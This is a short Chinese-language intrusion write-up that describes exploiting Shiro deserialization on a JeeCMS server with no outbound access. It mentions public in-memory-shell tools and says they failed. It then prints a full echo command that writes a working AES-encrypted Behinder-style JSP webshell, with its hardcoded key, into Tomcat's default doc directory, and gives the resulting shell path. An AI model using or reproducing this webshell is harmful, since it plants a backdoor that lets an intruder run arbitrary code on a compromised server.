起因
某日同事说遇到一个存在shiro反序列化的站点。
此站点为jeecms,此站点不出网。
首先jeecms的web目录是不解析你上传的jsp、jspx文件的应该是在web.xml文件中做了限制。
内存shell
首先想到的是写内存shell,因为之前遇到的这种情况就是这么搞的。
写内存shell的话有下面两款开源工具。
https://github.com/j1anFen/shiro_attack
此工具即可上马也可以上regeorg正好满足我们的需求
https://github.com/fupinglee/ShiroScan
这款好像没有上内存regeorg的功能
但是使用这两款工具上内存shell都没有成功。
tomcat默认目录
此站点为windows,shiro执行命令默认在tomcat的bin目录。
首先dir确定tomcat目录,访问tomcat wepapps发现存在tomcat默认自带的doc目录。
使用echo往此目录中写入webshell
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > D:xxxwebappsdocssss.jsp
shell路径为www.xxx.com/doc/ssss.jsp
如果没有doc目录的话可以再webapps目录下新建文件夹上传shell。